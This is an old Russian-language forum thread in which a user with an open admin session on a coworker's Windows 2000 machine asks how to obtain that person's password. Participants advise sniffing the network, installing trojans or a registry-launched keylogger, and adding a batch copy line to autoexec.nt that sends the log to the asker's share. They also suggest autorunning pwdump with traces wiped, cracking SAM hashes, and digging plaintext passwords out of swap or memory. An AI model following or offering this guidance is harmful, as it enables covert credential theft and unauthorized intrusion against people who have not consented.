Значит так, для начала поставь в сетке сниффер - это часто помагает при хаке локалок. Ты просто будешь читать весь траффик, передаваемый по сетке. Следующий вариан - попробуй протроянить его тачку или "заставь" его запустить скрипт, который добавит тебя в админы этой тачки(скрипт можно сделать ввиде cmd-файла, html-страницы или ... короче дохрена вариантов) Или поищи баги в его тачке(зайди на www.securityfocus.com)
Имеем следущую ситуацию.
Локальная сеть. Моя машина win XP
Пришел человек, полез с моей машины на свою машину по локалке. У него вин 2000. Ввел свой логин "Администратор" и какой- то пароль.
Задача. Узнать пароль.
На данный момент доступ к его машине все еще открыт. Причем под провами администратора. Например имею полный доступ к его диску С.
Жду ваших руководств к действиею.
Sam файл из его резервной копии в виндах забрал, но он что-то мало дает:(
Над ним трудился by LC4. pwdump и lsadump тоже не помогли т.к. получаю хеш со своего компа, а на его процес не могу запустить. Пробовал psexec
так, вы что-то в дебри залезли, мне кажется...
может я чего не понимаю, но мне кажется, что все проще.
если есть подключение к машине можно положить туда кейлоггер и запустить его через реестр(можно регедитом подключиться к той машине и рулить) или win.ini/system.ini (не помню уже как конкретно, но можно там файлы зпускать).
Потом останется только файл лога забрать как-то.
Можно батником копировать его куда-нибудь тебе на машину (вызов этого батника можно воткнуть в его autoexec.nt, и тогда файл будет не особо заметно для него копироваться в тот момент, когда он запускает дос-сессию. команда типа @copy keylog \\vasya\share\keylog >:null)
Слушай, есть такая классная прграммулина - SAMInside называется. Короче, эта прога определяет пароли, используя базу sam и файло system. Причём делает это почти моментально со скоростью 5млн. штук в секунду.
Удачи.
Нет проблем.08.04.03 10:25 Автор: Luky Статус: Незарегистрированный пользователь
> Слушай, есть такая классная прграммулина - SAMInside > называется. Короче, эта прога определяет пароли, используя > базу sam и файло system. Причём делает это почти > моментально со скоростью 5млн. штук в секунду. > Удачи.
А кто нибуть видел полную версию SAMInside?????????
Везде одна демо .... а там на перебор тока латинские буквы .
Значится так. все делается просто. если сессия восстанавливается после ребута тачки на которую открыта сессия, то логично предположить, что она(сессия) восстанавливается с пересылкой хэша. Логично? Так вот запускаешь снифер(лопхряк тот же) и ждешь ребута. или не ждешь. и дешь и просишь ребутнуться. или сам ту тачку грохаешь. сессия восстанавливается пересылкой хэша с твоей тачки. ты его ловишь и дальше дело техники. если я не прав - то почему.
Значит так, для начала поставь в сетке сниффер - это часто помагает при хаке локалок. Ты просто будешь читать весь траффик, передаваемый по сетке. Следующий вариан - попробуй протроянить его тачку или "заставь" его запустить скрипт, который добавит тебя в админы этой тачки(скрипт можно сделать ввиде cmd-файла, html-страницы или ... короче дохрена вариантов) Или поищи баги в его тачке(зайди на www.securityfocus.com)
Что-то забрели в дебри09.03.03 23:23 Автор: Rehn Статус: Незарегистрированный пользователь
Зачем все так усложнять?
Мнен ужно узнать парль. Он где-то храниться сейчас на моем компе. В сесии...раз она открыта. Предположительно в Perflib_Perfdata_***.dat
Имхо, копять надо мой комп. Зачем велосепед придумывать.
Ишь, какой ты прыткий...10.03.03 10:35 Автор: HandleX <Александр М.> Статус: The Elderman
> Зачем все так усложнять? > Мнен ужно узнать парль. Он где-то храниться сейчас на моем > компе. В сесии...раз она открыта. Предположительно в > Perflib_Perfdata_***.dat > Имхо, копять надо мой комп. Зачем велосепед придумывать.
Действительно не надо ничего придумывать. В Microsoft не лохи сидят (как это ни странно). Итак, когда ты набираешь имя пользователя и пароль, первое, что делает винда, это делает из пароля хеш. Хеш (по-английски «салат»), это что-то вроде однозначного определителя, т.е. разные пароли дадут разный хеш ;-) Причём процедура эта односторонняя, т.е. из хеша обратно пароль не сделаешь, как не сделаешь из салата из помидоров целые помидоры ;-) Вот этот хеш шлётся по сети туда на удалённую машину, сравнивается там с другим хешем, и если они совпадают, то винда возвращает дескриптор сеанса. Этот дескриптор забирает себе служба рабочей станции (Lanman Workstation Service), и потом толкает этот дескриптор во все твои попытки сетевого взаимодействия с удалённым компутером. Ты уже понял, что пароль в чистом виде умер примерно после 100 - 200 тысяч машинных иснтрукций на твоей тачке? ;-)
Если не понял, то копай Perflib_Perfdata_***., как собирался, может чего и найдёшь ;-)
Ишь, какой ты прыткий...10.03.03 12:25 Автор: Rehn Статус: Незарегистрированный пользователь
Не очень понимаю Значит достать из хеша пароли пользователей системы модем, а введный пароль нет? Ведь и там и там идет хеширование. Ну думаю что хеширование передованиемого паролья более сложно.
>Ты уже понял, что пароль в чистом
> виде умер примерно после 100 - 200 тысяч машинных > иснтрукций на твоей тачке? ;-)
Нет, я не понял что бы это значило. Потом, причем тут в чичтов виде, не в чистом. Пусть не в чистом. Подберем...знать бы откуда подберать.
Софта для дампа sam файлов, то есть хеша с пользователями хвататает.
А вот по взлому Perflib_Perfdata_*** вообще ничего не нашел. Что с ним теперь делать?
> Действительно не надо ничего придумывать. В Microsoft не > лохи сидят (как это ни странно). Итак, когда ты набираешь > имя пользователя и пароль, первое, что делает винда, это > делает из пароля хеш. Хеш (по-английски «салат»), это > что-то вроде однозначного определителя, т.е. разные пароли > дадут разный хеш ;-) Причём процедура эта односторонняя, > т.е. из хеша обратно пароль не сделаешь, как не сделаешь из > салата из помидоров целые помидоры ;-) Вот этот хеш шлётся > по сети туда на удалённую машину, сравнивается там с другим > хешем, и если они совпадают, то винда возвращает дескриптор > сеанса. Этот дескриптор забирает себе служба рабочей > станции (Lanman Workstation Service), и потом толкает этот > дескриптор во все твои попытки сетевого взаимодействия с > удалённым компутером. Ты уже понял, что пароль в чистом > виде умер примерно после 100 - 200 тысяч машинных > иснтрукций на твоей тачке? ;-) > Если не понял, то копай Perflib_Perfdata_***., как > собирался, может чего и найдёшь ;-)
Нет у тебя в системе пароля ни в чистом ни в хэшированном виде. Расслабся.10.03.03 14:51 Автор: Killer{R} <Dmitry> Статус: Elderman
То есть по вашему ни в каком виде его нет? И мне кажется что у меня имеется доступ. Так?10.03.03 15:23 Автор: Rehn Статус: Незарегистрированный пользователь
Кстати, его комп уже ходил на перезагрузку. Сессия осталась.
И еще, я вот что подумал. В ХР есть спящий режим. Я могу выключить в него комп. Далее сохранить файлы куда этот спящий режим усыпает.
После чего всегда смогу откатиться к состоянию текущему. Нет?
Но ведь эта сессия где-то храниться! Она же не в воздухе парит...10.03.03 16:41 Автор: Killer{R} <Dmitry> Статус: Elderman
> Кстати, его комп уже ходил на перезагрузку. Сессия > осталась. Действительно. Значит я ошибался Ж(.
> И еще, я вот что подумал. В ХР есть спящий режим. Я могу > выключить в него комп. Далее сохранить файлы куда этот > спящий режим усыпает. > После чего всегда смогу откатиться к состоянию текущему. > Нет? Нет. При уходе в спящий режим предполагается что при последующей загрузке все на винте будет по прежнему.
Да не надо ничего делать с Perflib_Perfdata, с чего ты взял, что они там? Это я пошутил ;-)10.03.03 14:41 Автор: HandleX <Александр М.> Статус: The Elderman
Ну мне подсказали. На самом деле это файл изменяется при вводе таких паролей. Плюс меняется реестр.10.03.03 15:25 Автор: Rehn Статус: Незарегистрированный пользователь
Вот от туда и взял.
А за что тогда это файл отвечает?
И вообще странно, то есть меня тут, как я понял, пытаются убидить в том, что имея доступ к файлам со своего компьютера, да еще и на уровне админа ничего сделать нельзя кроме как в автозаупуск какого-нибудь трояна записать.
Ну мне подсказали. На самом деле это файл изменяется при вводе таких паролей. Плюс меняется реестр.10.03.03 21:21 Автор: ZloyShaman <ZloyShaman> Статус: Elderman
> И вообще странно, то есть меня тут, как я понял, пытаются > убидить в том, что имея доступ к файлам со своего > компьютера, да еще и на уровне админа ничего сделать нельзя > кроме как в автозаупуск какого-нибудь трояна записать.
Сделать-то ты можешь всё что угодно. Но ты же задачу какую поставил, сам-то помнишь? Узнать его пароль. Причём этот пароль не знает ни твой виндоус, ни его :)
Предлагаю как-нибудь сделать в автозагрузку pwdump, который положит в незаметную папку sam, и чтобы следы сами ловко удалались. Дальше дело за вычислительными мощностями.
Не знаю как XP, но 2к странно относится к паролям11.03.03 15:52 Автор: amirul <Serge> Статус: The Elderman
> > И вообще странно, то есть меня тут, как я понял, > пытаются > > убидить в том, что имея доступ к файлам со своего > > компьютера, да еще и на уровне админа ничего сделать > нельзя > > кроме как в автозаупуск какого-нибудь трояна записать. > > Сделать-то ты можешь всё что угодно. Но ты же задачу какую > поставил, сам-то помнишь? Узнать его пароль. Причём этот > пароль не знает ни твой виндоус, ни его :) С одной стороны конечно хеширование, сискей и т.д. А с другой стороны буфер с паролем (плэйновым) после его обработки не очищается, а освобождается как есть. Суть сделанного мной однажды в следующем: мой пароль известен, поэтому нахожу все вхождения его в своп файле (как его прочитать на работающей машине - второй трудный вопрос, причем решаемый) или в \device\PhysicalMemory. Рядом с ним всегда валяются сигнатуры: вспомогательные данные, которые пихаются на стек, теги кучи или еще что-то. Но это так. Так вот я сам выковыривал пароли из свопа после набора пароля на этом компе. Также я выковыривал пароли из ssh-сессии в линухе (сдампил /dev/mem или /dev/kmem не помню - и поковырялся).
> Предлагаю как-нибудь сделать в автозагрузку pwdump, который > положит в незаметную папку sam, и чтобы следы сами ловко > удалались. Дальше дело за вычислительными мощностями.
ЗЫ: Вот только если ты уже несколько дней работаешь за этой тачкой, то эта память скорее всего уже перераспределилась и затерлась :-))) Жди следующего раза. Но перед этим лучше приготовь у себя какой-нить кейлоггер - не придется копаться в свопах - все пароли будут в открытом виде валяться в логе. :-))
Он имел ввиду про pwdump не свою, а удалённую тачку…12.03.03 09:29 Автор: HandleX <Александр М.> Статус: The Elderman
подробно о проекте
Анализ криптографических сетевых...
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
